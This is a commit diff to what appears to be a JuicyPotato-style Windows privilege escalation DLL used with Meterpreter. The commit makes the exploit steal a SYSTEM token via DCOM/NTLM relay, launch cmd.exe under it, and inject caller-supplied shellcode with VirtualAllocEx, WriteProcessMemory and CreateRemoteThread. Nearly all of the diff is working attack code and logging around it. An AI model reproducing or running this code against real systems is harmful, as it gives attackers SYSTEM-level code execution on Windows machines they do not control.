feat: execute shellcode in the dll

GSoC/Meterpreter_Web_Console
phra 2019-01-11 16:28:30 +01:00
parent 7653d64c4a
commit 944bda316e
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
2 changed files with 939 additions and 746 deletions

View File

@ -22,6 +22,8 @@
#pragma comment (lib, "AdvApi32.lib")
#pragma comment(lib, "userenv.lib")
//#define LOG 1
wchar_t *olestr;
wchar_t *g_port;
wchar_t *rpcserver;
@ -29,6 +31,10 @@ wchar_t *rpcport;
char dcom_port[12];
char dcom_ip[17];
//{8BC3F05E-D86B-11D0-A075-00C04FB68820}
FILE* logFile;
static const char VERSION[] = "0.1";
BOOL TEST_mode = FALSE;
HANDLE elevated_token, duped_token;
@ -38,13 +44,6 @@ wchar_t *processtype = NULL;
wchar_t *processargs = NULL;
wchar_t *processname = NULL;
VOID ExecutePayload(LPVOID lpPayload)
{
SetThreadToken(NULL, elevated_token);
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
}
int IsTokenSystem(HANDLE tok)
{
DWORD Size, UserSize, DomainSize;
@ -55,7 +54,14 @@ int IsTokenSystem(HANDLE tok)
Size = 0;
GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
if (!Size)
{
#ifdef LOG
fprintf(logFile, "[-] Not SYSTEM\n");
fflush(logFile);
#endif
return FALSE;
}
User = (TOKEN_USER *)malloc(Size);
assert(User);
@ -71,10 +77,23 @@ int IsTokenSystem(HANDLE tok)
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
free(sid);
printf("%S;%S\\%S\n", olestr, DomainName, UserName);
#ifdef LOG
fprintf(logFile, "%S;%S\\%S\n", olestr, DomainName, UserName);
fflush(logFile);
#endif
if (!_wcsicmp(UserName, L"SYSTEM"))
{
#ifdef LOG
fprintf(logFile, "[+] SYSTEM\n");
fflush(logFile);
#endif
return 1;
}
#ifdef LOG
fprintf(logFile, "[-] Not SYSTEM\n");
fflush(logFile);
#endif
return 0;
}
@ -169,7 +188,10 @@ int PotatoAPI::processNtlmBytes(char *bytes, int len) {
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
break;
default:
printf("Error - Unknown NTLM message type...");
#ifdef LOG
fprintf(logFile, "[-] Error - Unknown NTLM message type...\n");
fflush(logFile);
#endif
return -1;
break;
}
@ -240,7 +262,10 @@ int PotatoAPI::startRPCConnection(void) {
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
#ifdef LOG
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
fflush(logFile);
#endif
return 1;
}
@ -271,7 +296,10 @@ int PotatoAPI::startRPCConnection(void) {
iResult = getaddrinfo(myhost, myport, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
#ifdef LOG
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
fflush(logFile);
#endif
WSACleanup();
return 1;
}
@ -281,7 +309,10 @@ int PotatoAPI::startRPCConnection(void) {
// Create a SOCKET for connecting to server
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
fflush(logFile);
#endif
WSACleanup();
return 1;
}
@ -298,7 +329,10 @@ int PotatoAPI::startRPCConnection(void) {
}
if (ConnectSocket == INVALID_SOCKET) {
printf("Unable to connect to server!\n");
#ifdef LOG
fprintf(logFile, "[-] Unable to connect to server!\n");
fflush(logFile);
#endif
WSACleanup();
return 1;
}
@ -321,7 +355,10 @@ int PotatoAPI::startRPCConnection(void) {
iResult = send(ConnectSocket, sendbuf, *len, 0);
if (iResult == SOCKET_ERROR) {
printf("RPC -> send failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ConnectSocket);
WSACleanup();
return 0;
@ -333,17 +370,25 @@ int PotatoAPI::startRPCConnection(void) {
comSendQ->push(recvbuf);
}
else if (iResult == 0) {
printf("RPC-> Connection closed\n");
#ifdef LOG
fprintf(logFile, "RPC-> Connection closed\n");
fflush(logFile);
#endif
}
else {
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
return 0;
}
} while (iResult > 0);
#ifdef LOG
fprintf(logFile, "last iResult:%d\n", iResult);
fflush(logFile);
#endif
//printf("last iResult:%d\n", iResult);
fflush(stdout);
// cleanup
iResult = shutdown(ConnectSocket, SD_SEND);
closesocket(ConnectSocket);
@ -366,7 +411,10 @@ int PotatoAPI::startCOMListener(void) {
// Initialize Winsock
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
printf("WSAStartup failed with error: %d\n", iResult);
#ifdef LOG
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
fflush(logFile);
#endif
return 1;
}
@ -384,7 +432,10 @@ int PotatoAPI::startCOMListener(void) {
iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
if (iResult != 0) {
printf("getaddrinfo failed with error: %d\n", iResult);
#ifdef LOG
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
fflush(logFile);
#endif
WSACleanup();
return 1;
}
@ -395,7 +446,10 @@ int PotatoAPI::startCOMListener(void) {
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
if (ListenSocket == INVALID_SOCKET) {
printf("socket failed with error: %ld\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
fflush(logFile);
#endif
freeaddrinfo(result);
WSACleanup();
return 1;
@ -403,9 +457,15 @@ int PotatoAPI::startCOMListener(void) {
// Setup the TCP listening socket
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
//printf("startCOMListener bindresult%d\n", iResult);
#ifdef LOG
fprintf(logFile, "startCOMListener bindresult%d\n", iResult);
fflush(logFile);
#endif
if (iResult == SOCKET_ERROR) {
printf("bind failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
freeaddrinfo(result);
closesocket(ListenSocket);
WSACleanup();
@ -416,7 +476,10 @@ int PotatoAPI::startCOMListener(void) {
iResult = listen(ListenSocket, SOMAXCONN);
if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ListenSocket);
WSACleanup();
return 1;
@ -433,7 +496,10 @@ int PotatoAPI::startCOMListener(void) {
{
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
printf("accept failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ListenSocket);
WSACleanup();
return 1;
@ -467,7 +533,10 @@ int PotatoAPI::startCOMListener(void) {
iSendResult = send(ClientSocket, sendbuf, *len, 0);
if (iSendResult == SOCKET_ERROR) {
printf("COM -> send failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
exit(-11);
}
@ -482,9 +551,14 @@ int PotatoAPI::startCOMListener(void) {
exit(-1);
}
else {
if (!TEST_mode)
printf("COM -> recv failed with error: %d\n", WSAGetLastError());
if (!TEST_mode)
{
#ifdef LOG
fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
}
shutdown(ClientSocket, SD_SEND);
WSACleanup();
@ -495,9 +569,15 @@ int PotatoAPI::startCOMListener(void) {
// shutdown the connection since we're done
iResult = shutdown(ClientSocket, SD_SEND);
// printf("startCOMListener iResult ComLisetner:%d\n", iResult);
#ifdef LOG
fprintf(logFile, "\nstartCOMListener iResult ComLisetner:%d\n", iResult);
fflush(logFile);
#endif
if (iResult == SOCKET_ERROR) {
printf("shutdown failed with error: %d\n", WSAGetLastError());
#ifdef LOG
fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError());
fflush(logFile);
#endif
closesocket(ClientSocket);
WSACleanup();
exit(-1);
@ -516,7 +596,10 @@ BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
if (!LookupPrivilegeValue(NULL, priv, &luid))
{
printf("Priv Lookup FALSE\n");
#ifdef LOG
fprintf(logFile, "[-] Priv Lookup FALSE\n");
fflush(logFile);
#endif
return FALSE;
}
@ -531,7 +614,10 @@ BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("Priv Adjust FALSE\n");
#ifdef LOG
fprintf(logFile, "[-] Priv Adjust FALSE\n");
fflush(logFile);
#endif
return FALSE;
}
@ -631,10 +717,10 @@ int wmain(int argc, wchar_t** argv)
if (olestr == NULL)
olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
exit(Juicy(NULL, FALSE));
exit(Juicy(NULL, FALSE, NULL, 0));
}
int Juicy(wchar_t *clsid, BOOL brute)
int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength)
{
PotatoAPI* test = new PotatoAPI();
test->startCOMListenerThread();
@ -643,8 +729,12 @@ int Juicy(wchar_t *clsid, BOOL brute)
olestr = clsid;
if (!TEST_mode)
printf("Testing %S %S\n", olestr, g_port);
{
#ifdef LOG
fprintf(logFile, "Testing %S %S\n", olestr, g_port);
fflush(logFile);
#endif
}
test->startRPCConnectionThread();
test->triggerDCOM();
@ -656,18 +746,27 @@ int Juicy(wchar_t *clsid, BOOL brute)
if (test->negotiator->authResult != -1)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
SECURITY_DESCRIPTOR sdSecurityDescriptor;
if (!TEST_mode)
printf("\n[+] authresult %d\n", test->negotiator->authResult);
fflush(stdout);
{
#ifdef LOG
fprintf(logFile, "\n[+] authresult %d\n", test->negotiator->authResult);
fflush(logFile);
#endif
}
// Get a token for this process.
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ALL_ACCESS, &hToken))return 0;
TOKEN_ALL_ACCESS, &hToken))
{
#ifdef LOG
fprintf(logFile, "[-] Exit OpenProcessToken\n");
fflush(logFile);
#endif
return 0;
}
//enable privileges
EnablePriv(hToken, SE_IMPERSONATE_NAME);
@ -680,6 +779,70 @@ int Juicy(wchar_t *clsid, BOOL brute)
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
IsTokenSystem(elevated_token);
result = DuplicateTokenEx(elevated_token,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token);
PROCESS_INFORMATION pi;
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
memset(&pi, 0x00, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFO);
si.lpDesktop = L"winsta0\\default";
result = CreateProcessWithTokenW(duped_token,
0,
L"cmd.exe",
NULL,
0,
NULL,
NULL,
&si,
&pi);
if (!result)
{
#ifdef LOG
fprintf(logFile, "\n[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError());
fflush(logFile);
#endif
}
else
{
#ifdef LOG
fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n");
fprintf(logFile, "Payload length = %d\n", lPayloadLength);
fflush(logFile);
#endif
LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T lpnumber = 0;
BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
#ifdef LOG
fprintf(logFile, "WriteProcessResult: %d lpnumber = %d\n", b, lpnumber);
fflush(logFile);
#endif
HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);
if (h == NULL)
{
#ifdef LOG
fprintf(logFile, "Failed to execute shellcode\n");
fflush(logFile);
#endif
}
}
break;
}//end auth
}
return result;
@ -687,29 +850,59 @@ int Juicy(wchar_t *clsid, BOOL brute)
void EntryPoint(LPVOID lpReserved)
{
BOOL brute = FALSE;
int offset = 0;
wchar_t clsid[100];
wchar_t gport[100];
wchar_t gserver[100];
wchar_t server[100];
wchar_t port[100];
wchar_t gip[100];
mbstowcs(clsid, (char*)lpReserved, 100);
olestr = clsid;
offset += wcslen(clsid) + 1;
mbstowcs(gport, ((char*)lpReserved) + offset, 100);
g_port = gport;
offset += wcslen(gport) + 1;
mbstowcs(server, ((char*)lpReserved) + offset, 100);
rpcserver = server;
offset += wcslen(server) + 1;
mbstowcs(port, ((char*)lpReserved) + offset, 100);
rpcport = port;
offset += wcslen(port) + 1;
mbstowcs(gip, ((char*)lpReserved) + offset, 100);
memset(dcom_ip, 0, 17);
wcstombs(dcom_ip, gip, wcslen(gip));
#ifdef LOG
logFile = fopen("C:\\Users\\Public\\juicy.txt", "w");
#endif
Juicy(olestr, brute);
BOOL brute = FALSE;
int len;
long payloadLength;
char *buff = (char *)lpReserved;
len = strlen(buff) + 1;
olestr = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(olestr, buff, len);
buff += len;
len = strlen(buff) + 1;
g_port = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(g_port, buff, len);
buff += len;
len = strlen(buff) + 1;
rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(rpcserver, buff, len);
buff += len;
len = strlen(buff) + 1;
rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len);
mbstowcs(rpcport, buff, len);
buff += len;
len = strlen(buff) + 1;
strcpy(dcom_ip, buff);
buff += len;
len = strlen(buff) + 1;
payloadLength = atol(buff);
buff += len;
Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength);
free(olestr);
free(g_port);
free(rpcserver);
free(rpcport);
#ifdef LOG
fclose(logFile);
#endif
}

View File

@ -28,4 +28,4 @@ public:
};
extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved);
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute);
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength);